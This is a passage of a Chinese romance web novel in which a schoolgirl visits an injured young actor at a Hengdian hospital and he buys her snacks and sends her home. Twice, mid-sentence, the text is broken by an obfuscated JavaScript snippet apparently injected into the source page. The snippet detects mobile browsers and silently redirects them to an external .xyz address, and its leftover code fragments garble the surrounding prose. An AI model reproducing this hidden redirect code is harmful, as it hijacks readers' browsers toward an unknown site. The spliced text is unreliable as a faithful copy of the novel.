李纵背靠床头坐着,身上穿着单薄的蓝白条纹病号服,袖口随性地挽至手肘处,支起的左腿膝盖上摊着厚厚的剧本,上边用荧光笔圈了很多行,旁边还用红笔做满备注。 他微低着头,看得很认真,漆黑眼睫如鸦羽般覆住眼底情绪,高鼻薄唇被温柔灯光镌刻而出,像雪一样,清冷好看却没有一丝人气。 周围的喧闹和他之间,仿佛隔着一层结界。 他们进不去,他也出不来。 孟寻无意识松了口气。 还好,李纵没有如她噩梦中的那样昏迷不醒。 可是下一秒看见他一边手上紧紧缠绕的纱布,她的心又开始难受起来。 李纵受的伤明显比那个顾繁阳严重许多。 但他身边却没有一个人陪着。 就算经纪人没空,就算他的咖位还不够格让公司为其配备助理,可剧组总有工作人员吧,出了这么大的失误,他们去哪了?为什么就连一个人都没有过来? 就连娱乐新闻里,都是围绕着“顾繁阳”这个名字展开大幅报道,而“李纵”这个名字只是一笔带过,甚至没有出现。 在这一天,少女毫无防备闯入了另一个世界,窥见了娱乐圈的冰山一角。 和象牙塔里的纯粹不同,这个地方是那么的现实,人情味薄如纸,只有永恒的利益追逐与捧高踩低。 在孟寻眼里,李纵自然是最好的。可是在他如今所在的这个圈子,他只不过是一个初出茅庐的新人,毫无背景。 永远都有比他更火的人。 而大家的目光,也永远只会跟随更火的那个人。 她能为他做些什么呢? 她是如此的平凡与渺小。 她的力量微乎其微。 与此同时,她又是那么的胆怯。 一路披星戴月,想象了很多种见到他的场景,也猜测了无数种他可能会有的反应,却没想到,当她真的来到他的城市,和他只有一门之隔,竟然会是现在这样。 不敢往前一步。 什么也不敢说,什么也不敢做。 孟寻就这么呆呆地站在那里。 不知过了多久,病房里渐渐安静下来,门口的女孩们也在顾繁阳保安的驱赶下依依不舍离去。 顾繁阳助理给他送来了今天的晚餐。 十几个精致的保温饭盒一一打开摆放在他面前,热气腾腾,色香味俱全,烟熏牛肋排、黄油蟹……还有一些她从未见过的昂贵食材。 助理半蹲下来喂他吃,甚至还用双手去接他吐出来的骨头。每一样菜,顾繁阳都只吃那么一筷子就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470232|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了。因为饭菜不合他的心意,助理还被劈头盖脸骂了一顿。 顾繁阳那边吃得差不多了,给李纵送饭的人才姗姗来迟,放下饭盒就走了。 简陋的泡沫盒里只有一荤两素,肉菜看着黑乎乎辨认不出是什么肉,素菜是番茄炒蛋和豇豆炒茄子。 孟寻一边心疼,一边感慨,娱乐圈果真等级制度严明,就连艺人们吃的盒饭都要分个三六九等。 难怪大家都拼了命的想往上爬。 顾繁阳助理拎着两袋垃圾出来,看见孟寻时一愣,随即脸色很不好看:“不是让你们走了吗?怎么还赖在这里?” “我——” 孟寻还没说完,又听见对方用一种很高高在上且理所当然的语气命令道:“手机给我检查一下。” 她那时实在稚嫩,立马就将手机掏了出来递给了他。 顾繁阳助理熟练地打开相册检查,文件回收站也没放过。 确认了里边没有一点顾繁阳的照片或者视频,反而全是李纵的,他脸上五颜六色,十分精彩。 将手机递还给她的时候,他不死心地问道:“你真的不是我们顾繁阳的粉丝?” 孟寻诚实地摇了摇头。 顾繁阳助理这会才注意到她身上的校服,知道对方就是一个没什么威胁的小孩,心里松了口气,语气却依然很差:“我不管你到底是来看谁的,赶紧走,不然我就报警了。还有,不该拍的别乱拍,不该说的回去也别乱说。” 说到后面他是用吼的,声音很大,病房里两个人都听见了。 下一秒,透过窗户玻璃,孟寻猝不及防和李纵的目光对上,说不清那一瞬间心里究竟是羞愧更多还是惊慌更多,像犯错的小孩,下意识只想要快点躲起来。 没有听清顾繁阳助理又说了一句什么,她狼狈不堪,落荒而逃。 - 冬夜的横店真的很荒凉,马路上只有零星的行人。 孟寻坐在路边长凳上,凛冽的风钻入身体,手指被冻得麻木,呼吸与心跳终于慢慢平复下来。 又困又冷,又渴又饿。 攥着那一点钱,完全不知该往哪走。来的时候满脑子只有李纵,根本没有考虑过这个问题。 也许今晚只能露宿街头了。 直到这一刻,她才清楚意识到自己还是小孩,幼稚又莽撞,除了一腔孤勇,更准确来说,是愚勇,其他什么也没有。 肚子又一次咕噜噜抗议起来。 孟寻咽了咽口水,低着头看着柏油路面,忍不住开始想念学校食堂的饭菜:“炸肉丸、酱骨架、椒麻鸡、回锅肉、啤酒鸭……” 念到“糖醋排骨”时,视线中忽地出现一双白色球鞋。 紧接着,头顶上方落下一道微哑清冷的嗓音:“饿了?” 熟悉的音色让孟寻心跳骤停,两秒之后才慢半拍地抬起头来—— 15. dream 寒风倏地停住,深蓝色的天灰蒙蒙,远处霓虹灯光闪烁,旁边电线杆上安静的旧旧的路灯忽明忽暗,月白色的光在透明冷空气中氤氲开来。 男人身上套着单薄的病号服,黑色毛线帽压着浓黑头发,身体一半隐匿在电线杆暗影之下,另一半在光里。 脸苍白得厉害,漆黑眼珠在光线折射下竟有些透明了,像玻璃球,眼睫毛特别长,根根分明,在眼睑投下一片阴翳。 四目相对,他明显松了口气,“还好你没走远。” 孟寻怔怔地看着他,心脏狂跳。 分不清眼前一切到底是不是梦。 他头上戴的那顶毛线帽…… 即使已经过去很久,即使那是任何商店都可以买到的最普通的没有任何logo的基础款,她还是第一眼就认出来了,这是在天台那一次自己送给他的。 原来李纵还没有把它丢掉啊。 而且看起来,他好像还挺喜欢这顶帽子的…… 她缓慢眨了下眼。 因为这个猜测,一颗心瞬间软得一塌糊涂。 风经过他,将他身上淡淡的木质香气混合男性荷尔蒙的气息吹向她。 是琥珀与雪松的味道,温暖而不炽热,让人想起大雪之后白茫茫纯净的天空。 依旧是透明的薄荷色,但比起以前那股干净凛冽的薄荷味道又多了一点沉静而柔和的成熟感觉,让她不自觉耳根发烫。 “刚才在医院,”李纵微侧过脸去,以拳抵唇轻咳了下,似乎是在斟酌措辞,两三秒后才重新看向她。 “听见王哥,就是和你说话的那个人,他说,你是特意来看我的。” 说到这里,他忽地俯低下身,视线和她平直,桃花眼直勾勾盯住了她:“是吗?” 如此近距离的对视,甚至能感觉到对方的呼吸,孟寻心跳蓦地漏掉一拍,下意识点了下头:“我、我、” 下一秒又觉得应该否认,于是摇了摇头,很小声的:“不是……” 说完才想起自己现在穿的是那件校服外套,他曾经也穿过的同一件,赶紧扯了扯围巾,挡住胸前的校徽刺绣。 矛盾的,却又忍不住有些期待。 他刚刚看见校徽了吗? 他是不是认出她了? 他,还记得她吗? 不对。 如果李纵早就认出了她,那他根本就不会问出那个问题。 国内校服的款式和配色都差不多,何况洛川离横店又这么远,李纵不一定会想到她是自己的学妹。 所以—— 应该没有认出是她。 应该,早已不记得她了吧。 胡思乱想之际,听见男人轻笑了声:“我知道了。” 他顿了下,又说:“你在这等我两分钟,可以吗?” 孟寻一脸不解,但还是乖乖点了点头。 “我很快回来。”李纵说。 风又开始吹,肆无忌惮灌入,让那身病号服微微鼓起。 孟寻看着他的背影,觉得他好像又瘦了一点。 读书那会他走起路来还有点吊儿郎当的散漫,成为演员之后,可能是上了形体课加上一直都有在健身,如今的身形看着更加高大挺拔,后背笔直而宽阔。 不知何时完全褪去了蓬勃的少年气,变得越来越稳重。 她这才惊觉,他早已不是学校里那个女孩们偷偷爱慕的白衣少年。 是男人。 直到再也看不见了,孟寻才依依不舍收回目光,将右手掌心轻轻地贴在左边胸口,感受着心脏每一次因为李纵而剧烈的跳动。 如果这是梦。 上帝啊,就让时间停止流动,凝固成琥珀,把我永远留在这个梦境里吧。 不多时,李纵用没受伤的那只手拿着一杯关东煮回来了,手肘还挂着一个装得鼓鼓囊囊的塑料袋。 他单膝在她面前蹲了下来,将那杯关东煮递了过去:“还没有吃饭吧?” 孟寻一愣,瞬间涨红了脸,根本不敢直视那双清冷眼睛,迅速低下头去,声音跟蚊子似的:“嗯……” “我,”李纵忽地顿住,两秒之后重新开口,语气比刚刚温柔了些:“哥哥很感谢也很感动,你这么千里迢迢的过来看我,只是哥哥马上还得回去换药,很抱歉不能请你吃饭了。” 能够远远看他一眼,已经就是头等大奖了,她根本不敢奢望还能和他有更进一步的接触,甚至是这样近距离的对视和交谈。 孟寻心跳快得厉害,全然不知所措了:“没、没有。” “在便利店买了一些吃的,先随便吃点垫垫,”李纵将那杯关东煮递得更近,漆黑眼睛温柔看着她:“嗯?” 不忍心看他的手一直这么顿在半空,三秒之后,孟寻接过了那杯关东煮。 热气隔着纸杯透过手心快速流向全身,就连心脏都变得暖和。 眼尾余光中,李纵三两下解开了那个塑料袋,放到凳子上。 孟寻看到里边有面包、薯片、饼干还有几瓶草莓牛奶和一整排的养乐多,都是小女孩喜欢的。 她的注意力却都在他的手上。男人修长白皙的手指被冻得关节处泛起浅浅的红,手背上浮起的青筋更为明显了些。 在心里偷偷和自己的手对比了下,他的手好大,看起来,能将她完全包裹住呢…… 想到这里,呼吸变得有些急促,脸更烫了。 接着听见他说道:“哥哥的朋友一会就到,她会送你去车站。” 孟寻一下瞪大了眼:“啊?” 几乎是同一时间,李纵的手机响了。 他给了她一个安抚的眼神,从那袋零食中随手拿出一瓶草莓牛奶递给了她,而后站起身来,走到旁边接了电话:“嗯……还是学生……你看看有没有厚点的外套……大概一米五的样子,挺瘦的……” 风太大了。 男人刻意压低的声音断断续续传来,孟寻听得不是很清楚,只能猜个大概。 听到他和别人说她身高大概一米五,她没忍住嘟囔了声:“才不止一米五呢,是一米五六点二……” 李纵很快打完电话,重新回到她的面前。 他拿起凳子上那袋零食想要坐下,似乎又觉得这样不妥,于是又和刚才一样在她面前单膝蹲下了。 “你的手,”孟寻眼神担忧,咬了咬唇:“很痛吧?” 听见这话,李纵低头看了眼手臂上缠着的绷带,而后掀起细长眼皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470233|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她,“小伤,不用担心。” 从那么高的地方摔了下来,怎么会是小伤呢? 孟寻眼圈一红,看着他没有说话。 “……真没事。” 李纵轻笑了下,语气蓦地认真了几分:“回去好好念书,你现在是最好的年纪,有很多比见我更加值得做的事。” “而且,这么冷的天,一个人跑这么远,家里人会担心你的。” 明明不是责怪的语气,孟寻却瞬间羞愧难当,耳根发烫,恨不得找条地缝钻进去。 李纵从袋子里拿出一瓶草莓牛奶,为她插上吸管,递了过去:“一起加油,好吗?” 两人的视线在空气中蓦地撞上。 昏暗夜色里,他漆黑的眼仿若月下安静的海,波光潋滟,亮得惊人。 心跳声震耳欲聋。 孟寻本能地用力点头:“好……” 两人说话间,远处穿着黑色长羽绒服的女人踩着一双深褐色长筒靴哒哒哒跑了过来: “李纵!” 孟寻听着李纵喊了对方一声“双姐”。 双姐站定了,一边喘着粗气一边不动声色打量着从长凳上站了起身的少女:个子很瘦很小,柔顺长发披散下来,红色羊绒围巾紧紧裹着下半张脸,白净,眉眼青涩稚嫩,小巧的鼻子被冻得红通通的,看起来最多十五六岁。 可怜巴巴又可爱,挺招人喜欢的。 饶是自己在这个圈子摸爬滚打多年,早已看惯各色各样的美人,乍一看见这种还未被社会大染缸浸泡过的学生妹,还是忍不住多看了两眼。 她暗自叹了口气:也就只有这样的年纪,才会做出这么疯狂不理智的举动。 毕竟还是个没长大的孩子啊。 “行了,这里交给我吧,你赶紧回去。”双姐说着瞧了眼他的手臂:“伤筋动骨一百天,小心着点,下次再遇到这种事你就——” “姐。”李纵打断了她:“我回去了。” “去吧去吧。”双姐摆了摆手,没再看他,将自己拿来的外套披到面前少女身上:“小妹妹,穿上吧,天冷别把自己冻感冒了。” 孟寻想说“不用”的,可对方就像一个熟悉的长辈,一边唠叨着一边已经将她一边手抬了起来:“你看这小小一只的,我都怕横店这妖风一会把你给吹不见了,还是长身体的年纪,平时三餐多吃一点嘛……” 孟寻站在那里又尴尬又感激,不知所措地撞上了李纵越过双姐投来的视线。 夜风喧嚣,将霓虹灯光拉长成线。 有了双姐这个参照物,更显得男人高瘦单薄。他桃花眼微敛着,昏暗夜色里苍白的脸疲倦而冷淡。 刚才那些甜蜜瞬间被风吹散,这一秒孟寻终于后知后觉自己的出现究竟给他带来了多大的麻烦。 “一路注意安全,”李纵顿了下,目光落到她眼睛:“拜拜。” 孟寻嚅动嘴唇,声音轻得几乎听不见:“拜拜……” 就这么看着他走远。 直到彻底消失在她的视野里。 路两旁乌桕树光秃秃的,暗灰色的树皮和黑夜融合在一起,让人总想流泪。 比起他的正脸,记得更加清楚的,似乎总是他离开的背影。